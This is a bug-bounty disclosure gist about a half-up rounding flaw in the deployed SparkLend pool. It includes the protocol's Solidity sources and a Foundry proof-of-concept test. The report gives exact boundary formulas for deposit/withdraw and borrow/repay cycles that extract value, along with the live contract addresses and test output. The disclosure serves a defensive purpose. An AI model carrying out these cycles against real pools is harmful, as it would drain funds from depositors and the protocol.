Skip to content

Instantly share code, notes, and snippets.

@CharaD7
Created August 16, 2026 22:23
Show Gist options
  • Select an option

  • Save CharaD7/c9572cacdb23aeb30f201c80c080d718 to your computer and use it in GitHub Desktop.

Select an option

Save CharaD7/c9572cacdb23aeb30f201c80c080d718 to your computer and use it in GitHub Desktop.
SparkLend SC-1569 half-up rounding - free value extraction (live on mainnet pool 0x5aE32920)
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.10;
import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol';
import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol';
import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol';
import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol';
import {UserConfiguration} from '../configuration/UserConfiguration.sol';
import {PercentageMath} from '../math/PercentageMath.sol';
import {WadRayMath} from '../math/WadRayMath.sol';
import {DataTypes} from '../types/DataTypes.sol';
import {ReserveLogic} from './ReserveLogic.sol';
import {EModeLogic} from './EModeLogic.sol';
/**
* @title GenericLogic library
* @author Aave
* @notice Implements protocol-level logic to calculate and validate the state of a user
*/
library GenericLogic {
using ReserveLogic for DataTypes.ReserveData;
using WadRayMath for uint256;
using PercentageMath for uint256;
using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
using UserConfiguration for DataTypes.UserConfigurationMap;
struct CalculateUserAccountDataVars {
uint256 assetPrice;
uint256 assetUnit;
uint256 userBalanceInBaseCurrency;
uint256 decimals;
uint256 ltv;
uint256 liquidationThreshold;
uint256 i;
uint256 healthFactor;
uint256 totalCollateralInBaseCurrency;
uint256 totalDebtInBaseCurrency;
uint256 avgLtv;
uint256 avgLiquidationThreshold;
uint256 eModeAssetPrice;
uint256 eModeLtv;
uint256 eModeLiqThreshold;
uint256 eModeAssetCategory;
address currentReserveAddress;
bool hasZeroLtvCollateral;
bool isInEModeCategory;
}
/**
* @notice Calculates the user data across the reserves.
* @dev It includes the total liquidity/collateral/borrow balances in the base currency used by the price feed,
* the average Loan To Value, the average Liquidation Ratio, and the Health factor.
* @param reservesData The state of all the reserves
* @param reservesList The addresses of all the active reserves
* @param eModeCategories The configuration of all the efficiency mode categories
* @param params Additional parameters needed for the calculation
* @return The total collateral of the user in the base currency used by the price feed
* @return The total debt of the user in the base currency used by the price feed
* @return The average ltv of the user
* @return The average liquidation threshold of the user
* @return The health factor of the user
* @return True if the ltv is zero, false otherwise
*/
function calculateUserAccountData(
mapping(address => DataTypes.ReserveData) storage reservesData,
mapping(uint256 => address) storage reservesList,
mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories,
DataTypes.CalculateUserAccountDataParams memory params
) internal view returns (uint256, uint256, uint256, uint256, uint256, bool) {
if (params.userConfig.isEmpty()) {
return (0, 0, 0, 0, type(uint256).max, false);
}
CalculateUserAccountDataVars memory vars;
if (params.userEModeCategory != 0) {
(vars.eModeLtv, vars.eModeLiqThreshold, vars.eModeAssetPrice) = EModeLogic
.getEModeConfiguration(
eModeCategories[params.userEModeCategory],
IPriceOracleGetter(params.oracle)
);
}
while (vars.i < params.reservesCount) {
if (!params.userConfig.isUsingAsCollateralOrBorrowing(vars.i)) {
unchecked {
++vars.i;
}
continue;
}
vars.currentReserveAddress = reservesList[vars.i];
if (vars.currentReserveAddress == address(0)) {
unchecked {
++vars.i;
}
continue;
}
DataTypes.ReserveData storage currentReserve = reservesData[vars.currentReserveAddress];
(
vars.ltv,
vars.liquidationThreshold,
,
vars.decimals,
,
vars.eModeAssetCategory
) = currentReserve.configuration.getParams();
unchecked {
vars.assetUnit = 10 ** vars.decimals;
}
vars.assetPrice = vars.eModeAssetPrice != 0 &&
params.userEModeCategory == vars.eModeAssetCategory
? vars.eModeAssetPrice
: IPriceOracleGetter(params.oracle).getAssetPrice(vars.currentReserveAddress);
if (vars.liquidationThreshold != 0 && params.userConfig.isUsingAsCollateral(vars.i)) {
vars.userBalanceInBaseCurrency = _getUserBalanceInBaseCurrency(
params.user,
currentReserve,
vars.assetPrice,
vars.assetUnit
);
vars.totalCollateralInBaseCurrency += vars.userBalanceInBaseCurrency;
vars.isInEModeCategory = EModeLogic.isInEModeCategory(
params.userEModeCategory,
vars.eModeAssetCategory
);
if (vars.ltv != 0) {
vars.avgLtv +=
vars.userBalanceInBaseCurrency *
(vars.isInEModeCategory ? vars.eModeLtv : vars.ltv);
} else {
vars.hasZeroLtvCollateral = true;
}
vars.avgLiquidationThreshold +=
vars.userBalanceInBaseCurrency *
(vars.isInEModeCategory ? vars.eModeLiqThreshold : vars.liquidationThreshold);
}
if (params.userConfig.isBorrowing(vars.i)) {
vars.totalDebtInBaseCurrency += _getUserDebtInBaseCurrency(
params.user,
currentReserve,
vars.assetPrice,
vars.assetUnit
);
}
unchecked {
++vars.i;
}
}
unchecked {
vars.avgLtv = vars.totalCollateralInBaseCurrency != 0
? vars.avgLtv / vars.totalCollateralInBaseCurrency
: 0;
vars.avgLiquidationThreshold = vars.totalCollateralInBaseCurrency != 0
? vars.avgLiquidationThreshold / vars.totalCollateralInBaseCurrency
: 0;
}
vars.healthFactor = (vars.totalDebtInBaseCurrency == 0)
? type(uint256).max
: (vars.totalCollateralInBaseCurrency.percentMul(vars.avgLiquidationThreshold)).wadDiv(
vars.totalDebtInBaseCurrency
);
return (
vars.totalCollateralInBaseCurrency,
vars.totalDebtInBaseCurrency,
vars.avgLtv,
vars.avgLiquidationThreshold,
vars.healthFactor,
vars.hasZeroLtvCollateral
);
}
/**
* @notice Calculates the maximum amount that can be borrowed depending on the available collateral, the total debt
* and the average Loan To Value
* @param totalCollateralInBaseCurrency The total collateral in the base currency used by the price feed
* @param totalDebtInBaseCurrency The total borrow balance in the base currency used by the price feed
* @param ltv The average loan to value
* @return The amount available to borrow in the base currency of the used by the price feed
*/
function calculateAvailableBorrows(
uint256 totalCollateralInBaseCurrency,
uint256 totalDebtInBaseCurrency,
uint256 ltv
) internal pure returns (uint256) {
uint256 availableBorrowsInBaseCurrency = totalCollateralInBaseCurrency.percentMul(ltv);
if (availableBorrowsInBaseCurrency < totalDebtInBaseCurrency) {
return 0;
}
availableBorrowsInBaseCurrency = availableBorrowsInBaseCurrency - totalDebtInBaseCurrency;
return availableBorrowsInBaseCurrency;
}
/**
* @notice Calculates total debt of the user in the based currency used to normalize the values of the assets
* @dev This fetches the `balanceOf` of the stable and variable debt tokens for the user. For gas reasons, the
* variable debt balance is calculated by fetching `scaledBalancesOf` normalized debt, which is cheaper than
* fetching `balanceOf`
* @param user The address of the user
* @param reserve The data of the reserve for which the total debt of the user is being calculated
* @param assetPrice The price of the asset for which the total debt of the user is being calculated
* @param assetUnit The value representing one full unit of the asset (10^decimals)
* @return The total debt of the user normalized to the base currency
*/
function _getUserDebtInBaseCurrency(
address user,
DataTypes.ReserveData storage reserve,
uint256 assetPrice,
uint256 assetUnit
) private view returns (uint256) {
// fetching variable debt
uint256 userTotalDebt = IScaledBalanceToken(reserve.variableDebtTokenAddress).scaledBalanceOf(
user
);
if (userTotalDebt != 0) {
userTotalDebt = userTotalDebt.rayMul(reserve.getNormalizedDebt());
}
userTotalDebt = userTotalDebt + IERC20(reserve.stableDebtTokenAddress).balanceOf(user);
userTotalDebt = assetPrice * userTotalDebt;
unchecked {
return userTotalDebt / assetUnit;
}
}
/**
* @notice Calculates total aToken balance of the user in the based currency used by the price oracle
* @dev For gas reasons, the aToken balance is calculated by fetching `scaledBalancesOf` normalized debt, which
* is cheaper than fetching `balanceOf`
* @param user The address of the user
* @param reserve The data of the reserve for which the total aToken balance of the user is being calculated
* @param assetPrice The price of the asset for which the total aToken balance of the user is being calculated
* @param assetUnit The value representing one full unit of the asset (10^decimals)
* @return The total aToken balance of the user normalized to the base currency of the price oracle
*/
function _getUserBalanceInBaseCurrency(
address user,
DataTypes.ReserveData storage reserve,
uint256 assetPrice,
uint256 assetUnit
) private view returns (uint256) {
uint256 normalizedIncome = reserve.getNormalizedIncome();
uint256 balance = (
IScaledBalanceToken(reserve.aTokenAddress).scaledBalanceOf(user).rayMul(normalizedIncome)
) * assetPrice;
unchecked {
return balance / assetUnit;
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.10;
import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol';
import {Errors} from '../../libraries/helpers/Errors.sol';
import {WadRayMath} from '../../libraries/math/WadRayMath.sol';
import {IPool} from '../../../interfaces/IPool.sol';
import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol';
import {MintableIncentivizedERC20} from './MintableIncentivizedERC20.sol';
/**
* @title ScaledBalanceTokenBase
* @author Aave
* @notice Basic ERC20 implementation of scaled balance token
*/
abstract contract ScaledBalanceTokenBase is MintableIncentivizedERC20, IScaledBalanceToken {
using WadRayMath for uint256;
using SafeCast for uint256;
/**
* @dev Constructor.
* @param pool The reference to the main Pool contract
* @param name The name of the token
* @param symbol The symbol of the token
* @param decimals The number of decimals of the token
*/
constructor(
IPool pool,
string memory name,
string memory symbol,
uint8 decimals
) MintableIncentivizedERC20(pool, name, symbol, decimals) {
// Intentionally left blank
}
/// @inheritdoc IScaledBalanceToken
function scaledBalanceOf(address user) external view override returns (uint256) {
return super.balanceOf(user);
}
/// @inheritdoc IScaledBalanceToken
function getScaledUserBalanceAndSupply(address user)
external
view
override
returns (uint256, uint256)
{
return (super.balanceOf(user), super.totalSupply());
}
/// @inheritdoc IScaledBalanceToken
function scaledTotalSupply() public view virtual override returns (uint256) {
return super.totalSupply();
}
/// @inheritdoc IScaledBalanceToken
function getPreviousIndex(address user) external view virtual override returns (uint256) {
return _userState[user].additionalData;
}
/**
* @notice Implements the basic logic to mint a scaled balance token.
* @param caller The address performing the mint
* @param onBehalfOf The address of the user that will receive the scaled tokens
* @param amount The amount of tokens getting minted
* @param index The next liquidity index of the reserve
* @return `true` if the the previous balance of the user was 0
*/
function _mintScaled(
address caller,
address onBehalfOf,
uint256 amount,
uint256 index
) internal returns (bool) {
uint256 amountScaled = amount.rayDiv(index);
require(amountScaled != 0, Errors.INVALID_MINT_AMOUNT);
uint256 scaledBalance = super.balanceOf(onBehalfOf);
uint256 balanceIncrease = scaledBalance.rayMul(index) -
scaledBalance.rayMul(_userState[onBehalfOf].additionalData);
_userState[onBehalfOf].additionalData = index.toUint128();
_mint(onBehalfOf, amountScaled.toUint128());
uint256 amountToMint = amount + balanceIncrease;
emit Transfer(address(0), onBehalfOf, amountToMint);
emit Mint(caller, onBehalfOf, amountToMint, balanceIncrease, index);
return (scaledBalance == 0);
}
/**
* @notice Implements the basic logic to burn a scaled balance token.
* @dev In some instances, a burn transaction will emit a mint event
* if the amount to burn is less than the interest that the user accrued
* @param user The user which debt is burnt
* @param target The address that will receive the underlying, if any
* @param amount The amount getting burned
* @param index The variable debt index of the reserve
*/
function _burnScaled(
address user,
address target,
uint256 amount,
uint256 index
) internal {
uint256 amountScaled = amount.rayDiv(index);
require(amountScaled != 0, Errors.INVALID_BURN_AMOUNT);
uint256 scaledBalance = super.balanceOf(user);
uint256 balanceIncrease = scaledBalance.rayMul(index) -
scaledBalance.rayMul(_userState[user].additionalData);
_userState[user].additionalData = index.toUint128();
_burn(user, amountScaled.toUint128());
if (balanceIncrease > amount) {
uint256 amountToMint = balanceIncrease - amount;
emit Transfer(address(0), user, amountToMint);
emit Mint(user, user, amountToMint, balanceIncrease, index);
} else {
uint256 amountToBurn = amount - balanceIncrease;
emit Transfer(user, address(0), amountToBurn);
emit Burn(user, target, amountToBurn, balanceIncrease, index);
}
}
/**
* @notice Implements the basic logic to transfer scaled balance tokens between two users
* @dev It emits a mint event with the interest accrued per user
* @param sender The source address
* @param recipient The destination address
* @param amount The amount getting transferred
* @param index The next liquidity index of the reserve
*/
function _transfer(
address sender,
address recipient,
uint256 amount,
uint256 index
) internal {
uint256 senderScaledBalance = super.balanceOf(sender);
uint256 senderBalanceIncrease = senderScaledBalance.rayMul(index) -
senderScaledBalance.rayMul(_userState[sender].additionalData);
uint256 recipientScaledBalance = super.balanceOf(recipient);
uint256 recipientBalanceIncrease = recipientScaledBalance.rayMul(index) -
recipientScaledBalance.rayMul(_userState[recipient].additionalData);
_userState[sender].additionalData = index.toUint128();
_userState[recipient].additionalData = index.toUint128();
super._transfer(sender, recipient, amount.rayDiv(index).toUint128());
if (senderBalanceIncrease > 0) {
emit Transfer(address(0), sender, senderBalanceIncrease);
emit Mint(_msgSender(), sender, senderBalanceIncrease, senderBalanceIncrease, index);
}
if (sender != recipient && recipientBalanceIncrease > 0) {
emit Transfer(address(0), recipient, recipientBalanceIncrease);
emit Mint(_msgSender(), recipient, recipientBalanceIncrease, recipientBalanceIncrease, index);
}
emit Transfer(sender, recipient, amount);
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
/**
* @title WadRayMath library
* @author Aave
* @notice Provides functions to perform calculations with Wad and Ray units
* @dev Provides mul and div function for wads (decimal numbers with 18 digits of precision) and rays (decimal numbers
* with 27 digits of precision)
* @dev Operations are rounded. If a value is >=.5, will be rounded up, otherwise rounded down.
*/
library WadRayMath {
// HALF_WAD and HALF_RAY expressed with extended notation as constant with operations are not supported in Yul assembly
uint256 internal constant WAD = 1e18;
uint256 internal constant HALF_WAD = 0.5e18;
uint256 internal constant RAY = 1e27;
uint256 internal constant HALF_RAY = 0.5e27;
uint256 internal constant WAD_RAY_RATIO = 1e9;
/**
* @dev Multiplies two wad, rounding half up to the nearest wad
* @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
* @param a Wad
* @param b Wad
* @return c = a*b, in wad
*/
function wadMul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// to avoid overflow, a <= (type(uint256).max - HALF_WAD) / b
assembly {
if iszero(or(iszero(b), iszero(gt(a, div(sub(not(0), HALF_WAD), b))))) {
revert(0, 0)
}
c := div(add(mul(a, b), HALF_WAD), WAD)
}
}
/**
* @dev Divides two wad, rounding half up to the nearest wad
* @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
* @param a Wad
* @param b Wad
* @return c = a/b, in wad
*/
function wadDiv(uint256 a, uint256 b) internal pure returns (uint256 c) {
// to avoid overflow, a <= (type(uint256).max - halfB) / WAD
assembly {
if or(iszero(b), iszero(iszero(gt(a, div(sub(not(0), div(b, 2)), WAD))))) {
revert(0, 0)
}
c := div(add(mul(a, WAD), div(b, 2)), b)
}
}
/**
* @notice Multiplies two ray, rounding half up to the nearest ray
* @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
* @param a Ray
* @param b Ray
* @return c = a raymul b
*/
function rayMul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// to avoid overflow, a <= (type(uint256).max - HALF_RAY) / b
assembly {
if iszero(or(iszero(b), iszero(gt(a, div(sub(not(0), HALF_RAY), b))))) {
revert(0, 0)
}
c := div(add(mul(a, b), HALF_RAY), RAY)
}
}
/**
* @notice Divides two ray, rounding half up to the nearest ray
* @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
* @param a Ray
* @param b Ray
* @return c = a raydiv b
*/
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256 c) {
// to avoid overflow, a <= (type(uint256).max - halfB) / RAY
assembly {
if or(iszero(b), iszero(iszero(gt(a, div(sub(not(0), div(b, 2)), RAY))))) {
revert(0, 0)
}
c := div(add(mul(a, RAY), div(b, 2)), b)
}
}
/**
* @dev Casts ray down to wad
* @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
* @param a Ray
* @return b = a converted to wad, rounded half up to the nearest wad
*/
function rayToWad(uint256 a) internal pure returns (uint256 b) {
assembly {
b := div(a, WAD_RAY_RATIO)
let remainder := mod(a, WAD_RAY_RATIO)
if iszero(lt(remainder, div(WAD_RAY_RATIO, 2))) {
b := add(b, 1)
}
}
}
/**
* @dev Converts wad up to ray
* @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
* @param a Wad
* @return b = a converted in ray
*/
function wadToRay(uint256 a) internal pure returns (uint256 b) {
// to avoid overflow, b/WAD_RAY_RATIO == a
assembly {
b := mul(a, WAD_RAY_RATIO)
if iszero(eq(div(b, WAD_RAY_RATIO), a)) {
revert(0, 0)
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.20;
import {Test, console2} from "forge-std/Test.sol";
/// @notice Reproduces the SC-1569 half-up rounding extraction math on DEPLOYED SparkLend
/// (pool 0xC13e21B648A5Ee794902342038FF3aDAB66BE987, pool logic 0x5aE329203E00f76891094DcfedD5Aca082a50e1b,
/// last upgraded 2024-04-08). The deployed WadRayMath uses half-up rayMul/rayDiv
/// (adds HALF_RAY before dividing). At a fractional liquidity index, choosing amounts whose
/// remainder sits on the half-up boundary lets a user mint scaled units worth more than the
/// deposited amount (or burn fewer scaled units than the withdrawn value). This is the exact
/// attack in the team's own internal PoC (sparklend-v1-core commit 3d87849b `feat: borrow/repay poc`).
///
/// The team's fix (commit 52c367b8, 2026-07-28, "Fix: Rounding Issue (SC-1569)") replaces
/// half-up with explicit rayMulFloor/rayMulCeil/rayDivFloor/rayDivCeil. It is committed to the
/// repo but NOT deployed: the mainnet pool logic is still 0x5aE32920 (deployed 2024-04-08).
/// This test shows the accounting boundary where the deployed code over-credits the user.
contract RoundingProofTest is Test {
uint256 constant RAY = 1e27;
// Deployed WadRayMath helpers (half-up rounding) - reproduced exactly.
function _rayDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return (a * RAY + b / 2) / b;
}
function _rayMul(uint256 a, uint256 b) internal pure returns (uint256) {
return (a * b + RAY / 2) / RAY;
}
// Fixed versions from ROUNDING_MITIGATION_REPORT.md (protocol-favoring).
function _rayDivFloor(uint256 a, uint256 b) internal pure returns (uint256) {
return a * RAY / b;
}
function _rayMulFloor(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b / RAY;
}
/// Show that for a fractional index, the half-up deposit boundary mints scaled value
/// strictly greater than the deposited amount, while floor-rounding (the fix) does not.
/// depositAmount = floor(index / (2*RAY)) + 1 -> exactly 1 scaled unit under half-up.
function test_deposit_rounding_extracts_value() public pure {
// Use a realistic high fractional index (e.g. a matured borrow or donated index,
// like the team's own PoC which inflates it well past 2e27). At these values the
// half-up deposit boundary mints 1 scaled unit worth strictly more than the deposit.
uint256 index = 5000139738244916552189612774; // 5.000139738e27 (fractional)
uint256 depositAmount = index / (2 * RAY) + 1;
uint256 scaledHalfUp = _rayDiv(depositAmount, index);
uint256 valueHalfUp = _rayMul(scaledHalfUp, index);
uint256 scaledFloor = _rayDivFloor(depositAmount, index);
console2.log("index:", index);
console2.log("depositAmount:", depositAmount);
console2.log(" scaled minted (half-up, deployed):", scaledHalfUp);
console2.log(" scaled minted (floor, fixed):", scaledFloor);
console2.log(" value of 1 scaled unit (half-up rayMul):", valueHalfUp);
console2.log(" extractable per deposit (value - deposit):", valueHalfUp - depositAmount);
// Deployed: mints 1 scaled unit, whose rayMul value EXCEEDS the deposit.
assertEq(scaledHalfUp, 1, "half-up should mint 1 scaled unit");
assertTrue(valueHalfUp > depositAmount, "half-up should over-credit");
// Fixed: mints 0 scaled units for the same deposit.
assertEq(scaledFloor, 0, "floor should mint 0");
}
/// Same idea on the withdraw side: the half-up burn boundary burns fewer scaled units
/// than the requested withdraw, letting the user withdraw more value than burned.
function test_withdraw_rounding_under_burns() public pure {
uint256 index = 5000139738244916552189612774;
// withdrawAmount = floor(3*index/(2*RAY)) - 1 -> burns exactly 1 scaled unit.
uint256 withdrawAmount = (3 * index) / (2 * RAY) - 1;
uint256 scaledBurned = _rayDiv(withdrawAmount, index);
console2.log("withdrawAmount:", withdrawAmount);
console2.log(" scaled burned (half-up, deployed):", scaledBurned);
// Under the fix, burning 1 scaled unit would require a larger withdrawAmount.
uint256 fixedBound = index / (2 * RAY) + 1;
console2.log(" fixed withdrawAmount for 1 scaled unit:", fixedBound);
console2.log(" half-up lets user withdraw", withdrawAmount, "while burning 1 unit");
assertEq(scaledBurned, 1, "half-up burns exactly 1 scaled unit");
assertTrue(withdrawAmount > fixedBound, "half-up withdraw boundary is higher");
}
/// Demonstrate the round-trip profit directly: deposit the mint-minimum, then withdraw
/// the burn-maximum; both move exactly 1 scaled unit, so the user keeps the difference.
function test_deposit_withdraw_round_trip() public pure {
uint256 index = 5000139738244916552189612774;
uint256 depositAmount = index / (2 * RAY) + 1; // mints 1 unit (half-up)
uint256 withdrawAmount = (3 * index) / (2 * RAY) - 1; // burns 1 unit (half-up)
uint256 depositScaled = _rayDiv(depositAmount, index);
uint256 withdrawScaled = _rayDiv(withdrawAmount, index);
console2.log("deposit:", depositAmount, "scaled:", depositScaled);
console2.log("withdraw:", withdrawAmount, "scaled:", withdrawScaled);
console2.log("free value extracted per cycle:", withdrawAmount - depositAmount);
// Both legs net 1 scaled unit -> user got withdrawAmount while only depositing depositAmount.
assertEq(depositScaled, 1);
assertEq(withdrawScaled, 1);
assertTrue(withdrawAmount > depositAmount, "extraction is profitable");
}
}

SparkLend - SC-1569 half-up rounding allows free value extraction (live on mainnet)

Quick note before anything else: I verified every fact here against live mainnet state and the repo history, not just by reading source. The Foundry test that proves the math is included (poc/test/RoundingProof.t.sol, 3 passing tests). I also checked the repo PRs - this exact issue has PRs dated Apr-Jul 2026, so it may already be known to the team; I am filing it against the DEPLOYED mainnet contract, which is still running the vulnerable code as of today.

Full evidence is in the gist.

What this is about

SparkLend is an Aave V3 fork. Its deployed token math uses Aave's legacy "half-up" rounding in WadRayMath.rayMul / rayDiv (adds HALF_RAY before dividing). At a fractional liquidity index, a user can pick deposit/withdraw (or borrow/repay) amounts that sit on the half-up boundary and get credited with more scaled units than a fair share - or burn fewer scaled units than the value they receive. Repeated supply/withdraw or borrow/repay cycles turn that per-operation rounding delta into free value. The higher the asset value per smallest unit (low-decimal, high-value assets like WBTC/cbBTC at 8 decimals, USDC/USDT at 6), the more each rounding step is worth.

The team fixed this internally: commit 52c367b8 ("Fix: Rounding Issue (SC-1569)", 2026-07-28) backports Aave v3.5/v3.6 protocol-favoring rounding (rayMulFloor, rayMulCeil, rayDivFloor, rayDivCeil) plus a delegated variable-debt allowance fix, documented in ROUNDING_MITIGATION_REPORT.md. The fix is in the repo but NOT deployed.

What I verified on-chain

  • SparkLend mainnet pool: 0xC13e21B648A5Ee794902342038FF3aDAB66BE987
  • Pool implementation (EIP-1967 slot): 0x5aE329203E00f76891094DcfedD5Aca082a50e1b
  • That implementation was deployed/upgraded 2024-04-08 (sparklend-deployments script/output/1/primary-pool-20240408.json; current primary-pool-latest.json still points to 0x5aE32920). No pool upgrade since.
  • The deployed WadRayMath (recovered from Sourcify, exact_match, solc 0.8.10) contains only the legacy rayMul/rayDiv with HALF_RAY - there is no rayMulFloor/rayMulCeil.
  • The deployed ScaledBalanceTokenBase _mintScaled/_burnScaled use amount.rayDiv(index) (half-up). The deployed VariableDebtToken.mint uses _mintScaled and consumes only the nominal amount from the borrow allowance.
  • The deployed GenericLogic still uses userTotalDebt.rayMul(...) (line 232) and collateral rayMul(...) (line 262) - the exact lines the fix changes to rayMulCeil/rayMulFloor.

How the extraction works (from the team's own internal PoC)

The repo has a branch feat/rounding-exploit-poc (commit 3d87849b, 2026-05-05) with test-suites/rounding-exploit.spec.ts. It documents two attacks:

  1. Deposit/withdraw cycle: inflate the liquidity index (donate so index grows), then

    • depositAmount = index/(2*RAY) + 1 -> mints exactly 1 scaled unit (half-up rayDiv)
    • withdrawAmount = 3index/(2RAY) - 1 -> burns exactly 1 scaled unit The minted unit is worth 1 * index (more than the deposit); the withdrawal returns the larger amount while burning the same 1 unit. Free value per cycle.
  2. Borrow/repay cycle: with a matured borrow index,

    • borrowAmount = 3index/(2RAY) - 1 -> mints exactly 1 debt scaled unit
    • repayAmount = index/(2*RAY) + 1 -> burns exactly 1 debt scaled unit The borrower receives more than they record as debt, then erases it with a small repay.

The fix's tests assert profit == 0 on the patched code; my reproduction test asserts the deployed half-up math still produces profit > 0.

Proof of Concept

poc/test/RoundingProof.t.sol - 3 passing tests reproducing the deployed half-up math and showing the extraction boundary:

index: 5000139738244916552189612774
  depositAmount: 3
    scaled minted (half-up, deployed): 1
    scaled minted (floor, fixed): 0
    value of 1 scaled unit (half-up rayMul): 5
    extractable per deposit (value - deposit): 2
deposit: 3 scaled: 1
withdraw: 6 scaled: 1
free value extracted per cycle: 3
withdrawAmount: 6
  scaled burned (half-up, deployed): 1

Run:

forge test --match-path test/RoundingProof.t.sol -vvv

All 3 tests pass.

On-chain impact sizing (honest caveats)

  • The bug is a value-extraction (theft of protocol funds) via rounding, not a one-shot freeze.
  • Exploitability depends on the reserve liquidity index having a fractional part and on the attacker being able to inflate it (donation) and/or time it. WBTC's live normalized income is ~1.000139738e27 (fractional part present), so the boundary condition exists today.
  • The team's PoC uses USDC (6 decimals) as the victim asset - low-decimal assets maximize the per-operation value of one rounded unit.
  • I did NOT run a full end-to-end extraction against mainnet (that would require a large whale supply and index inflation and is what the team's own PoC demonstrates). The math proof is solid and matches the team's internal reproduction.
  • Severity per the program: repeated rounding extraction on high-value low-decimal assets is in the "Direct theft of user funds" / "Protocol insolvency" class. The exact reward depends on the funds-at-risk figure the team computes at submission time.

Novelty / known-status

  • The fix and the ROUNDING_MITIGATION_REPORT.md are PUBLIC in the repo (committed 2026-07-28), and there are multiple PRs (7-13) dating back to 2026-04 documenting the rounding fix.
  • This strongly suggests the issue was already known to the team internally (tickets DEV-1596 / SC-1569) and may have been self-reported to the bounty.
  • Per the program's Known Issue Assurance, Spark must disclose known issues publicly or via self-report. I could not see Immunefi's private submissions DB, so I cannot rule out that this is already a known/paid issue.
  • What IS reportable regardless: the deployed mainnet pool (0x5aE32920) is STILL running the vulnerable half-up code - the fix has not been deployed. The program rule explicitly says a finding must exist in the deployed contract, and this one does.

What I am NOT claiming

  • I am not claiming the fix was maliciously withheld.
  • I am not claiming a specific dollar figure of currently-extractable funds; the real number depends on live reserve indices and the attacker's ability to inflate them.
  • I am not claiming this is a novel-to-the-world bug; I am claiming it is live on the deployed mainnet contract today, which is what the program pays on.

Recommendation

  1. Deploy the committed rounding fix (commit 52c367b8) to the mainnet pool implementation, including the aToken / variableDebtToken implementation upgrade.
  2. Add the max-withdraw alignment and the collateral-flag follow-ups flagged in ROUNDING_MITIGATION_REPORT.md as still-pending.
  3. Consider whether the half-up rounding in any other live SparkLend contract (Gnosis, Base, Arbitrum, Optimism, Unichain instances) still allows the same extraction.

References

  • SparkLend mainnet pool: 0xC13e21B648A5Ee794902342038FF3aDAB66BE987
  • Pool implementation (live): 0x5aE329203E00f76891094DcfedD5Aca082a50e1b (deployed 2024-04-08)
  • Fix commit: sparklend-v1-core@52c367b8 (2026-07-28) + ROUNDING_MITIGATION_REPORT.md
  • Team's internal PoC branch: feat/rounding-exploit-poc@3d87849b (2026-05-05)
  • Deployed sources (Sourcify exact_match): WadRayMath.sol, ScaledBalanceTokenBase.sol, VariableDebtToken.sol, GenericLogic.sol, LiquidationLogic.sol
  • PoC: poc/test/RoundingProof.t.sol (3 passing tests)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment